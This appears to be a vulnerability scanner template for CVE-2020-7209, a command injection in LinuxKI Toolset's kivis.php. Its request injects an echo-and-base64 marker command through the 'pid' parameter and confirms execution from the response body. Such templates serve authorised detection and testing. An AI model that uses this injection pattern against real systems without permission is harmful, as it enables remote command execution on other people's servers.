id: CVE-2020-7209

info:
  name: LinuxKI Toolset 6.01 Remote Command Execution
  author: dwisiswant0
  severity: critical

  # This template exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
  # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.

  # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78

requests:
  - method: GET
    path:
      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
    headers:
      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nonexistent"
        part: body
      - type: status
        status:
          - 200